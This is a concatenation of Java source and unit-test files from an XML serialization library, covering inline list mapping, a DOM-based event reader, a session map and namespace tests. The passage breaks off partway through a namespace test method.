public class ScatterTest extends ValidationTestCase {
private static final String INLINE_LIST =
"<test version='ONE'>\n"+
" <text name='a' version='ONE'>Example 1</text>\r\n"+
" <message>Some example message</message>\r\n"+
" <text name='b' version='TWO'>Example 2</text>\r\n"+
" <double>1.0</double>\n" +
" <double>2.0</double>\n"+
" <text name='c' version='THREE'>Example 3</text>\r\n"+
" <double>3.0</double>\n"+
"</test>";
private static final String INLINE_PRIMITIVE_LIST =
"<test version='ONE'>\n"+
" <string>Example 1</string>\r\n"+
" <message>Some example message</message>\r\n"+
" <string>Example 2</string>\r\n"+
" <string>Example 3</string>\r\n"+
"</test>";
private static final String INLINE_NAMED_LIST =
"<test version='ONE'>\n"+
" <include name='1' file='1.txt'/>\r\n"+
" <exclude name='2' file='2.txt'/>\r\n"+
" <exclude name='3' file='3.txt'/>\r\n"+
" <include name='4' file='4.txt'/>\r\n"+
" <exclude name='5' file='5.txt'/>\r\n"+
"</test>";
@Root(name="test")
private static class InlineTextList {
@Element
private String message;
@ElementList(inline=true)
private List<Double> numbers;
@Transient
private List<TextEntry> list;
@Attribute
private Version version;
private List<Double> getNumbers() {
return numbers;
}
@ElementList(inline=true)
public void setList(List<TextEntry> list) {
this.list = new ArrayList<TextEntry>(list); // ensure only set when fully read
}
@ElementList(inline=true)
public List<TextEntry> getList() {
return list;
}
public TextEntry get(int index) {
return list.get(index);
}
}
@Root(name="test")
private static class InlinePrimitiveList {
@Element
private String message;
@ElementList(inline=true)
private List<String> list;
@Attribute
private Version version;
public String get(int index) {
return list.get(index);
}
}
@Root(name="text")
private static class TextEntry {
@Attribute
private String name;
@Attribute
private Version version;
@Text
private String text;
}
@Root
private static class SimpleInlineList {
@ElementList(inline=true)
private ArrayList<SimpleEntry> list = new ArrayList<SimpleEntry>();
}
@Root
private static class SimpleEntry {
@Attribute
private String content;
}
@Root
private static class SimplePrimitiveInlineList {
@ElementList(inline=true)
private ArrayList<String> list = new ArrayList<String>();
}
@Root(name="test")
private static class InlineNamedList {
@ElementList(inline=true, entry="include")
private Dictionary<FileMatch> includeList;
@ElementList(inline=true, entry="exclude")
private Dictionary<FileMatch> excludeList;
@Attribute
private Version version;
public String getInclude(String name) {
FileMatch match = includeList.get(name);
if(match != null) {
return match.file;
}
return null;
}
public String getExclude(String name) {
FileMatch match = excludeList.get(name);
if(match != null) {
return match.file;
}
return null;
}
}
@Root
private static class FileMatch implements Entry {
@Attribute
private String file;
@Attribute
private String name;
public String getName() {
return name;
}
}
private static enum Version {
ONE,
TWO,
THREE
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testList() throws Exception {
InlineTextList list = persister.read(InlineTextList.class, INLINE_LIST);
assertEquals(list.version, Version.ONE);
assertEquals(list.message, "Some example message");
assertEquals(list.get(0).version, Version.ONE);
assertEquals(list.get(0).name, "a");
assertEquals(list.get(0).text, "Example 1");
assertEquals(list.get(1).version, Version.TWO);
assertEquals(list.get(1).name, "b");
assertEquals(list.get(1).text, "Example 2");
assertEquals(list.get(2).version, Version.THREE);
assertEquals(list.get(2).name, "c");
assertEquals(list.get(2).text, "Example 3");
assertTrue(list.getNumbers().contains(1.0));
assertTrue(list.getNumbers().contains(2.0));
assertTrue(list.getNumbers().contains(3.0));
StringWriter buffer = new StringWriter();
persister.write(list, buffer);
validate(list, persister);
list = persister.read(InlineTextList.class, buffer.toString());
assertEquals(list.version, Version.ONE);
assertEquals(list.message, "Some example message");
assertEquals(list.get(0).version, Version.ONE);
assertEquals(list.get(0).name, "a");
assertEquals(list.get(0).text, "Example 1");
assertEquals(list.get(1).version, Version.TWO);
assertEquals(list.get(1).name, "b");
assertEquals(list.get(1).text, "Example 2");
assertEquals(list.get(2).version, Version.THREE);
assertEquals(list.get(2).name, "c");
assertEquals(list.get(2).text, "Example 3");
validate(list, persister);
}
public void testPrimitiveList() throws Exception {
InlinePrimitiveList list = persister.read(InlinePrimitiveList.class, INLINE_PRIMITIVE_LIST);
assertEquals(list.version, Version.ONE);
assertEquals(list.message, "Some example message");
assertEquals(list.get(0), "Example 1");
assertEquals(list.get(1), "Example 2");
assertEquals(list.get(2), "Example 3");
StringWriter buffer = new StringWriter();
persister.write(list, buffer);
validate(list, persister);
list = persister.read(InlinePrimitiveList.class, buffer.toString());
assertEquals(list.get(0), "Example 1");
assertEquals(list.get(1), "Example 2");
assertEquals(list.get(2), "Example 3");
validate(list, persister);
}
public void testInlineNamedList() throws Exception {
InlineNamedList list = persister.read(InlineNamedList.class, INLINE_NAMED_LIST);
assertEquals(list.getInclude("1"), "1.txt");
assertEquals(list.getInclude("2"), null);
assertEquals(list.getInclude("3"), null);
assertEquals(list.getInclude("4"), "4.txt");
assertEquals(list.getInclude("5"), null);
assertEquals(list.getExclude("1"), null);
assertEquals(list.getExclude("2"), "2.txt");
assertEquals(list.getExclude("3"), "3.txt");
assertEquals(list.getExclude("4"), null);
assertEquals(list.getExclude("5"), "5.txt");
validate(list, persister);
}
public void testSimpleList() throws Exception{
SimpleInlineList list = new SimpleInlineList();
SimpleEntry entry = new SimpleEntry();
entry.content = "test";
list.list.add(entry);
validate(list, persister);
}
public void testSimplePrimitiveList() throws Exception{
SimplePrimitiveInlineList list = new SimplePrimitiveInlineList();
list.list.add("test");
validate(list, persister);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Complete.java<|end_filename|>
/*
* Complete.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Retention;
/**
* The <code>Complete</code> annotation is used to mark a method that
* requires a callback from the persister once the serialization of
* the object has completed. The complete method is typically used
* in combination with the persist method, which is the method that
* is annotated with the <code>Persist</code> annotation.
* <p>
* Typically the complete method will revert any changes made when
* the persist method was invoked. For example, should the persist
* method acquire a lock to ensure the object is serialized in a
* safe state then the commit method can be used to release the lock.
* The complete method must be a no argument public method or a
* method that takes a single <code>Map</code> object argument. The
* complete method is invoked even if deserialization terminates.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Persist
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface Complete {
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/DocumentReader.java<|end_filename|>
/*
* DocumentReader.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import static org.w3c.dom.Node.ELEMENT_NODE;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
/**
* The <code>DocumentReader</code> object provides an implementation
* for reading XML events using DOM. This reader flattens a document
* in to a series of nodes, and provides these nodes as events as
* they are encountered. Essentially what this does is adapt the
* document approach to navigating the XML and provides a streaming
* approach. Having an implementation based on DOM ensures that the
* library can be used on a wider variety of platforms.
*
* @author <NAME>
*
* @see org.simpleframework.xml.stream.DocumentProvider
*/
class DocumentReader implements EventReader {
/**
* Any attribute beginning with this string has been reserved.
*/
private static final String RESERVED = "xml";
/**
* This is used to extract the nodes from the provided document.
*/
private NodeExtractor queue;
/**
* This is used to keep track of which elements are in context.
*/
private NodeStack stack;
/**
* This is used to keep track of any events that were peeked.
*/
private EventNode peek;
/**
* Constructor for the <code>DocumentReader</code> object. This
* makes use of a DOM document to extract events and provide them
* to the core framework. All nodes will be extracted from the
* document and queued for extraction as they are requested. This
* will ignore any comment nodes as they should not be considered.
*
* @param document this is the document that is to be read
*/
public DocumentReader(Document document) {
this.queue = new NodeExtractor(document);
this.stack = new NodeStack();
this.stack.push(document);
}
/**
* This is used to peek at the node from the document. This will
* scan through the document, ignoring any comments to find the
* next relevant XML event to acquire. Typically events will be
* the start and end of an element, as well as any text nodes.
*
* @return this returns the next event taken from the document
*/
public EventNode peek() throws Exception {
if(peek == null) {
peek = next();
}
return peek;
}
/**
* This is used to take the next node from the document. This will
* scan through the document, ignoring any comments to find the
* next relevant XML event to acquire. Typically events will be
* the start and end of an element, as well as any text nodes.
*
* @return this returns the next event taken from the document
*/
public EventNode next() throws Exception {
EventNode next = peek;
if(next == null) {
next = read();
} else {
peek = null;
}
return next;
}
/**
* This is used to read the next node from the document. This will
* scan through the document, ignoring any comments to find the
* next relevant XML event to acquire. Typically events will be
* the start and end of an element, as well as any text nodes.
*
* @return this returns the next event taken from the document
*/
private EventNode read() throws Exception {
Node node = queue.peek();
if(node == null) {
return end();
}
return read(node);
}
/**
* This is used to read the next node from the document. This will
* scan through the document, ignoring any comments to find the
* next relevant XML event to acquire. Typically events will be
* the start and end of an element, as well as any text nodes.
*
* @param node this is the XML node that has been read
*
* @return this returns the next event taken from the document
*/
private EventNode read(Node node) throws Exception {
Node parent = node.getParentNode();
Node top = stack.top();
if(parent != top) {
if(top != null) {
stack.pop();
}
return end();
}
if(node != null) {
queue.poll();
}
return convert(node);
}
/**
* This is used to convert the provided node in to an event. The
* conversion process ensures the node can be digested by the core
* reader and used to provide an <code>InputNode</code> that can
* be used to represent the XML elements or attributes. If the
* provided node is not an element then it is considered text.
*
* @param node the node that is to be converted to an event
*
* @return this returns an event created from the given node
*/
private EventNode convert(Node node) throws Exception{
short type = node.getNodeType();
if(type == ELEMENT_NODE) {
if(node != null) {
stack.push(node);
}
return start(node);
}
return text(node);
}
/**
* This is used to convert the provided node to a start event. The
* conversion process ensures the node can be digested by the core
* reader and used to provide an <code>InputNode</code> that can
* be used to represent an XML elements within the source document.
*
* @param node the node that is to be converted to a start event
*
* @return this returns a start event created from the given node
*/
private Start start(Node node) {
Start event = new Start(node);
if(event.isEmpty()) {
return build(event);
}
return event;
}
/**
* This is used to build the attributes that are to be used to
* populate the start event. Populating the start event with the
* attributes it contains is required so that each element will
* contain its associated attributes. Only attributes that are
* not reserved will be added to the start event.
*
* @param event this is the start event that is to be populated
*
* @return this returns a start event with its attributes
*/
private Start build(Start event) {
NamedNodeMap list = event.getAttributes();
int length = list.getLength();
for (int i = 0; i < length; i++) {
Node node = list.item(i);
Attribute value = attribute(node);
if(!value.isReserved()) {
event.add(value);
}
}
return event;
}
/**
* This is used to convert the provided node to an attribute. The
* conversion process ensures the node can be digested by the core
* reader and used to provide an <code>InputNode</code> that can
* be used to represent an XML attribute within the source document.
*
* @param node the node that is to be converted to an attribute
*
* @return this returns an attribute created from the given node
*/
private Entry attribute(Node node) {
return new Entry(node);
}
/**
* This is used to convert the provided node to a text event. The
* conversion process ensures the node can be digested by the core
* reader and used to provide an <code>InputNode</code> that can
* be used to represent an XML attribute within the source document.
*
* @param node the node that is to be converted to a text event
*
* @return this returns the text event created from the given node
*/
private Text text(Node node) {
return new Text(node);
}
/**
* This is used to create a node event to signify that an element
* has just ended. End events are important as they allow the core
* reader to determine if a node is still in context. This provides
* a more convenient way to use <code>InputNode</code> objects as
* they should only ever be able to extract their children.
*
* @return this returns an end event to signify an element close
*/
private End end() {
return new End();
}
/**
* The <code>Entry</code> object is used to represent an attribute
* within a start element. This holds the name and value of the
* attribute as well as the namespace prefix and reference. These
* details can be used to represent the attribute so that should
* the core reader require these details they can be acquired.
*
* @author <NAME>
*/
private static class Entry extends EventAttribute {
/**
* This is the node that is to be represented as an attribute.
*/
private final Node node;
/**
* Constructor for the <code>Entry</code> object. This creates
* an attribute object that is used to extract the name, value
* namespace prefix, and namespace reference from the provided
* node. This is used to populate any start events created.
*
* @param node this is the node that represents the attribute
*/
public Entry(Node node) {
this.node = node;
}
/**
* This provides the name of the attribute. This will be the
* name of the XML attribute without any namespace prefix. If
* the name begins with "xml" then this attribute is reserved.
* according to the namespaces for XML 1.0 specification.
*
* @return this returns the name of this attribute object
*/
public String getName() {
return node.getLocalName();
}
/**
* This returns the value of the event. This will be the value
* that the attribute contains. If the attribute does not have
* a value then this returns null or an empty string.
*
* @return this returns the value represented by this object
*/
public String getValue() {
return node.getNodeValue();
}
/**
* This is used to acquire the namespace prefix associated with
* this attribute. A prefix is used to qualify the attribute
* within a namespace. So, if this has a prefix then it should
* have a reference associated with it.
*
* @return this returns the namespace prefix for the attribute
*/
public String getPrefix() {
return node.getPrefix();
}
/**
* This is used to acquire the namespace reference that this
* attribute is in. A namespace is normally associated with an
* attribute if that attribute is prefixed with a known token.
* If there is no prefix then this will return null.
*
* @return this provides the associated namespace reference
*/
public String getReference() {
return node.getNamespaceURI();
}
/**
* This returns true if the attribute is reserved. An attribute
* is considered reserved if it begins with "xml" according to
* the namespaces in XML 1.0 specification. Such attributes are
* used for namespaces and other such details.
*
* @return this returns true if the attribute is reserved
*/
public boolean isReserved() {
String prefix = getPrefix();
String name = getName();
if(prefix != null) {
return prefix.startsWith(RESERVED);
}
return name.startsWith(RESERVED);
}
/**
* This is used to return the node for the attribute. Because
* this represents a DOM attribute the DOM node is returned.
* Returning the node helps with certain debugging issues.
*
* @return this will return the source object for this
*/
public Object getSource() {
return node;
}
}
/**
* The <code>Start</code> object is used to represent the start of
* an XML element. This will hold the attributes associated with
* the element and will provide the name, the namespace reference
* and the namespace prefix. For debugging purposes the source XML
* element is provided for this start event.
*
* @author <NAME>
*/
private static class Start extends EventElement {
/**
* This is the element that is represented by this start event.
*/
private final Element element;
/**
* Constructor for the <code>Start</code> object. This will
* wrap the provided node and expose the required details such
* as the name, namespace prefix and namespace reference. The
* provided element node can be acquired for debugging purposes.
*
* @param element this is the element being wrapped by this
*/
public Start(Node element) {
this.element = (Element)element;
}
/**
* This provides the name of the event. This will be the name
* of an XML element the event represents. If there is a prefix
* associated with the element, this extracts that prefix.
*
* @return this returns the name without the namespace prefix
*/
public String getName() {
return element.getLocalName();
}
/**
* This is used to acquire the namespace prefix associated with
* this node. A prefix is used to qualify an XML element or
* attribute within a namespace. So, if this represents a text
* event then a namespace prefix is not required.
*
* @return this returns the namespace prefix for this event
*/
public String getPrefix() {
return element.getPrefix();
}
/**
* This is used to acquire the namespace reference that this
* node is in. A namespace is normally associated with an XML
* element or attribute, so text events and element close events
* are not required to contain any namespace references.
*
* @return this will provide the associated namespace reference
*/
public String getReference() {
return element.getNamespaceURI();
}
/**
* This is used to acquire the attributes associated with the
* element. Providing the attributes in this format allows
* the reader to build a list of attributes for the event.
*
* @return this returns the attributes associated with this
*/
public NamedNodeMap getAttributes(){
return element.getAttributes();
}
/**
* This is used to return the node for the event. Because this
* represents a DOM element node the DOM node will be returned.
* Returning the node helps with certain debugging issues.
*
* @return this will return the source object for this event
*/
public Object getSource() {
return element;
}
}
/**
* The <code>Text</code> object is used to represent a text event.
* If wraps a node that holds text consumed from the document.
* These are used by <code>InputNode</code> objects to extract the
* text values for elements For debugging this exposes the node.
*
* @author <NAME>
*/
private static class Text extends EventToken {
/**
* This is the node that is used to represent the text value.
*/
private final Node node;
/**
* Constructor for the <code>Text</code> object. This creates
* an event that provides text to the core reader. Text can be
* in the form of a CDATA section or a normal text entry.
*
* @param node this is the node that represents the text value
*/
public Text(Node node) {
this.node = node;
}
/**
* This is true as this event represents a text token. Text
* tokens are required to provide a value only. So namespace
* details and the node name will always return null.
*
* @return this returns true as this event represents text
*/
public boolean isText() {
return true;
}
/**
* This returns the value of the event. This will return the
* text value contained within the node. If there is no
* text within the node this should return an empty string.
*
* @return this returns the value represented by this event
*/
public String getValue(){
return node.getNodeValue();
}
/**
* This is used to return the node for the event. Because this
* represents a DOM text value the DOM node will be returned.
* Returning the node helps with certain debugging issues.
*
* @return this will return the source object for this event
*/
public Object getSource() {
return node;
}
}
/**
* The <code>End</code> object is used to represent the end of an
* element. It is used by the core reader to determine which nodes
* are in context and which ones are out of context. This allows
* the input nodes to determine if it can read any more children.
*
* @author <NAME>
*/
private static class End extends EventToken {
/**
* This is true as this event represents an element end. Such
* events are required by the core reader to determine if a
* node is still in context. This helps to determine if there
* are any more children to be read from a specific node.
*
* @return this returns true as this token represents an end
*/
public boolean isEnd() {
return true;
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/NodeReaderTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import junit.framework.TestCase;
import java.io.StringReader;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeBuilder;
import org.simpleframework.xml.stream.NodeMap;
public class NodeReaderTest extends TestCase {
private static final String SMALL_SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<override id='12' flag='true'>\n"+
" <text>entry text</text> \n\r"+
" <name>some name</name> \n"+
" <third>added to schema</third>\n"+
"</override>";
private static final String LARGE_SOURCE =
"<?xml version='1.0'?>\n" +
"<root version='2.1' id='234'>\n" +
" <list type='sorted'>\n" +
" <entry name='1'>\n" +
" <value>value 1</value>\n" +
" </entry>\n" +
" <entry name='2'>\n" +
" <value>value 2</value>\n" +
" </entry>\n" +
" <entry name='3'>\n" +
" <value>value 3</value>\n" +
" </entry>\n" +
" </list>\n" +
" <object name='name'>\n" +
" <integer>123</integer>\n" +
" <object name='key'>\n" +
" <integer>12345</integer>\n" +
" </object>\n" +
" </object>\n" +
"</root>";
public static final String EMPTY_SOURCE =
"<root>\r\n" +
" <empty/>\r\n" +
" <notEmpty name='foo'/>\r\n" +
" <empty></empty>\r\n" +
"</root>";
public void testEmptySource() throws Exception {
InputNode event = NodeBuilder.read(new StringReader(EMPTY_SOURCE));
assertTrue(event.isRoot());
assertFalse(event.isEmpty());
assertEquals("root", event.getName());
InputNode child = event.getNext();
assertTrue(child.isEmpty());
assertEquals("empty", child.getName());
child = event.getNext();
assertFalse(child.isEmpty());
assertEquals("notEmpty", child.getName());
assertEquals("foo", child.getAttribute("name").getValue());
child = event.getNext();
assertTrue(child.isEmpty());
assertEquals("empty", child.getName());
}
public void testSmallSource() throws Exception {
InputNode event = NodeBuilder.read(new StringReader(SMALL_SOURCE));
assertTrue(event.isRoot());
assertEquals("override", event.getName());
assertEquals("12", event.getAttribute("id").getValue());
assertEquals("true", event.getAttribute("flag").getValue());
NodeMap list = event.getAttributes();
assertEquals("12", list.get("id").getValue());
assertEquals("true", list.get("flag").getValue());
InputNode text = event.getNext();
assertFalse(text.isRoot());
assertTrue(event.isRoot());
assertEquals("text", text.getName());
assertEquals("entry text", text.getValue());
assertEquals(null, text.getNext());
InputNode name = event.getNext();
assertFalse(name.isRoot());
assertEquals("name", name.getName());
assertEquals("some name", name.getValue());
assertEquals(null, name.getNext());
assertEquals(null, text.getNext());
InputNode third = event.getNext();
assertTrue(event.isRoot());
assertFalse(third.isRoot());
assertEquals("third", third.getName());
assertEquals("text", text.getName());
assertEquals(null, text.getNext());
assertEquals("added to schema", third.getValue());
assertEquals(null, event.getNext());
}
public void testLargeSource() throws Exception {
InputNode event = NodeBuilder.read(new StringReader(LARGE_SOURCE));
assertTrue(event.isRoot());
assertEquals("root", event.getName());
assertEquals("2.1", event.getAttribute("version").getValue());
assertEquals("234", event.getAttribute("id").getValue());
NodeMap attrList = event.getAttributes();
assertEquals("2.1", attrList.get("version").getValue());
assertEquals("234", attrList.get("id").getValue());
InputNode list = event.getNext();
assertFalse(list.isRoot());
assertEquals("list", list.getName());
assertEquals("sorted", list.getAttribute("type").getValue());
InputNode entry = list.getNext();
InputNode value = list.getNext(); // same as entry.getNext()
assertEquals("entry", entry.getName());
assertEquals("1", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 1", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
assertEquals(null, value.getNext());
entry = list.getNext();
value = entry.getNext(); // same as list.getNext()
assertEquals("entry", entry.getName());
assertEquals("2", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 2", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
entry = list.getNext();
value = entry.getNext(); // same as list.getNext()
assertEquals("entry", entry.getName());
assertEquals("3", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 3", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
assertEquals(null, list.getNext());
InputNode object = event.getNext();
InputNode integer = event.getNext(); // same as object.getNext()
assertEquals("object", object.getName());
assertEquals("name", object.getAttribute("name").getValue());
assertEquals("integer", integer.getName());
assertEquals("123", integer.getValue());
object = object.getNext(); // same as event.getNext()
integer = object.getNext();
assertEquals("object", object.getName());
assertEquals("key", object.getAttribute("name").getValue());
assertEquals("integer", integer.getName());
assertEquals("12345", integer.getValue());
}
public void testSkip() throws Exception {
InputNode event = NodeBuilder.read(new StringReader(LARGE_SOURCE));
assertTrue(event.isRoot());
assertEquals("root", event.getName());
assertEquals("2.1", event.getAttribute("version").getValue());
assertEquals("234", event.getAttribute("id").getValue());
NodeMap attrList = event.getAttributes();
assertEquals("2.1", attrList.get("version").getValue());
assertEquals("234", attrList.get("id").getValue());
InputNode list = event.getNext();
assertFalse(list.isRoot());
assertEquals("list", list.getName());
assertEquals("sorted", list.getAttribute("type").getValue());
InputNode entry = list.getNext();
InputNode value = list.getNext(); // same as entry.getNext()
assertEquals("entry", entry.getName());
assertEquals("1", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 1", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
assertEquals(null, value.getNext());
entry = list.getNext();
entry.skip();
assertEquals(entry.getNext(), null);
entry = list.getNext();
value = entry.getNext(); // same as list.getNext()
assertEquals("entry", entry.getName());
assertEquals("3", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 3", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
assertEquals(null, list.getNext());
InputNode object = event.getNext();
InputNode integer = event.getNext(); // same as object.getNext()
assertEquals("object", object.getName());
assertEquals("name", object.getAttribute("name").getValue());
assertEquals("integer", integer.getName());
assertEquals("123", integer.getValue());
object = object.getNext(); // same as event.getNext()
integer = object.getNext();
assertEquals("object", object.getName());
assertEquals("key", object.getAttribute("name").getValue());
assertEquals("integer", integer.getName());
assertEquals("12345", integer.getValue());
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Session.java<|end_filename|>
/*
* Session.java February 2005
*
* Copyright (C) 2005, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
/**
* The <code>Session</code> object represents a session with name
* value pairs. The persister uses this to allow objects to add
* or remove name value pairs to an from an internal map. This is
* done so that the deserialized objects can set template values
* as well as share information. In particular this is useful for
* any <code>Strategy</code> implementation as it allows it so
* store persistence state during the persistence process.
* <p>
* Another important reason for the session map is that it is
* used to wrap the map that is handed to objects during callback
* methods. This opens the possibility for those objects to grab
* a reference to the map, which will cause problems for any of
* the strategy implementations that wanted to use the session
* reference for weakly storing persistence artifacts.
*
* @author <NAME>
*
* @see org.simpleframework.xml.strategy.Strategy
*/
final class Session implements Map {
/**
* This is the internal map that provides storage for pairs.
*/
private final Map map;
/**
* This is used to determine if this session is a strict one.
*/
private final boolean strict;
/**
* Constructor for the <code>Session</code> object. This is
* used to create a new session that makes use of a hash map
* to store key value pairs which are maintained throughout
* the duration of the persistence process this is used in.
*/
public Session(){
this(true);
}
/**
* Constructor for the <code>Session</code> object. This is
* used to create a new session that makes use of a hash map
* to store key value pairs which are maintained throughout
* the duration of the persistence process this is used in.
*
* @param strict this is used to determine the strictness
*/
public Session(boolean strict){
this.map = new HashMap();
this.strict = strict;
}
/**
* This is used to determine if the deserialization mode is strict
* or not. If this is not strict then deserialization will be done
* in such a way that additional elements and attributes can be
* ignored. This allows external XML formats to be used without
* having to match the object structure to the XML fully.
*
* @return this returns true if the deserialization is strict
*/
public boolean isStrict() {
return strict;
}
/**
* This returns the inner map used by the session object. The
* internal map is the <code>Map</code> instance that is used
* for persister callbacks, a reference to this map can be
* safely made by any object receiving a callback.
*
* @return this returns the internal session map used
*/
public Map getMap() {
return map;
}
/**
* This obviously enough provides the number of pairs that
* have been inserted into the internal map. This acts as
* a proxy method for the internal map <code>size</code>.
*
* @return this returns the number of pairs are available
*/
public int size() {
return map.size();
}
/**
* This method is used to determine whether the session has
* any pairs available. If the <code>size</code> is zero then
* the session is empty and this returns true. The is acts as
* a proxy the the <code>isEmpty</code> of the internal map.
*
* @return this is true if there are no available pairs
*/
public boolean isEmpty() {
return map.isEmpty();
}
/**
* This is used to determine whether a value representing the
* name of a pair has been inserted into the internal map. The
* object passed into this method is typically a string which
* references a template variable but can be any object.
*
* @param name this is the name of a pair within the map
*
* @return this returns true if the pair of that name exists
*/
public boolean containsKey(Object name) {
return map.containsKey(name);
}
/**
* This method is used to determine whether any pair that has
* been inserted into the internal map had the presented value.
* If one or more pairs within the collected mappings contains
* the value provided then this method will return true.
*
* @param value this is the value that is to be searched for
*
* @return this returns true if any value is equal to this
*/
public boolean containsValue(Object value) {
return map.containsValue(value);
}
/**
* The <code>get</code> method is used to acquire the value for
* a named pair. So if a mapping for the specified name exists
* within the internal map the mapped entry value is returned.
*
* @param name this is a name used to search for the value
*
* @return this returns the value mapped to the given name
*/
public Object get(Object name) {
return map.get(name);
}
/**
* The <code>put</code> method is used to insert the name and
* value provided into the internal session map. The inserted
* value will be available to all objects receiving callbacks.
*
* @param name this is the name the value is mapped under
* @param value this is the value to mapped with the name
*
* @return this returns the previous value if there was any
*/
public Object put(Object name, Object value) {
return map.put(name, value);
}
/**
* The <code>remove</code> method is used to remove the named
* mapping from the internal session map. This ensures that
* the mapping is no longer available for persister callbacks.
*
* @param name this is a string used to search for the value
*
* @return this returns the value mapped to the given name
*/
public Object remove(Object name) {
return map.remove(name);
}
/**
* This method is used to insert a collection of mappings into
* the session map. This is used when another source of pairs
* is required to populate the collection currently maintained
* within this sessions internal map. Any pairs that currently
* exist with similar names will be overwritten by this.
*
* @param data this is the collection of pairs to be added
*/
public void putAll(Map data) {
map.putAll(data);
}
/**
* This is used to acquire the names for all the pairs that
* have currently been collected by this session. This is used
* to determine which mappings are available within the map.
*
* @return the set of names for all mappings in the session
*/
public Set keySet() {
return map.keySet();
}
/**
* This method is used to acquire the value for all pairs that
* have currently been collected by this session. This is used
* to determine the values that are available in the session.
*
* @return the list of values for all mappings in the session
*/
public Collection values() {
return map.values();
}
/**
* This method is used to acquire the name and value pairs that
* have currently been collected by this session. This is used
* to determine which mappings are available within the session.
*
* @return thie set of mappings that exist within the session
*/
public Set entrySet() {
return map.entrySet();
}
/**
* The <code>clear</code> method is used to wipe out all the
* currently existing pairs from the collection. This is used
* when all mappings within the session should be erased.
*/
public void clear() {
map.clear();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/NamespaceMapTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringReader;
import java.io.StringWriter;
import org.simpleframework.xml.ValidationTestCase;
public class NamespaceMapTest extends ValidationTestCase {
private static final String SOURCE =
"<root a:name='value' xmlns:a='http://www.domain.com/a'>\n" +
" <a:child>this is the child</a:child>\n" +
"</root>";
public void testInputNode() throws Exception {
StringReader reader = new StringReader(SOURCE);
InputNode node = NodeBuilder.read(reader);
NodeMap<InputNode> map = node.getAttributes();
InputNode attr = map.get("name");
assertEquals("value", attr.getValue());
assertEquals("a", attr.getPrefix());
assertEquals("http://www.domain.com/a", attr.getReference());
InputNode child = node.getNext();
assertEquals("this is the child", child.getValue());
assertEquals("a", child.getPrefix());
assertEquals("http://www.domain.com/a", child.getReference());
}
public void testOutputNode() throws Exception {
StringWriter out = new StringWriter();
OutputNode top = NodeBuilder.write(out);
OutputNode root = top.getChild("root");
NamespaceMap map = root.getNamespaces();
root.setReference("http://www.sun.com/jsp");
map.setReference("http://www.w3c.com/xhtml", "xhtml");
map.setReference("http://www.sun.com/jsp", "jsp");
OutputNode child = root.getChild("child");
child.setAttribute("name.1", "1");
child.setAttribute("name.2", "2");
OutputNode attribute = child.getAttributes().get("name.1");
attribute.setReference("http://www.w3c.com/xhtml");
OutputNode otherChild = root.getChild("otherChild");
otherChild.setAttribute("name.a", "a");
otherChild.setAttribute("name.b", "b");
map = otherChild.getNamespaces();
map.setReference("http://www.w3c.com/xhtml", "ignore");
OutputNode yetAnotherChild = otherChild.getChild("yetAnotherChild");
yetAnotherChild.setReference("http://www.w3c.com/xhtml");
yetAnotherChild.setValue("example text for yet another namespace");
OutputNode finalChild = otherChild.getChild("finalChild");
map = finalChild.getNamespaces();
map.setReference("http://www.w3c.com/anonymous");
finalChild.setReference("http://www.w3c.com/anonymous");
OutputNode veryLastChild = finalChild.getChild("veryLastChild");
map = veryLastChild.getNamespaces();
map.setReference("");
OutputNode veryVeryLastChild = veryLastChild.getChild("veryVeryLastChild");
map = veryVeryLastChild.getNamespaces();
map.setReference("");
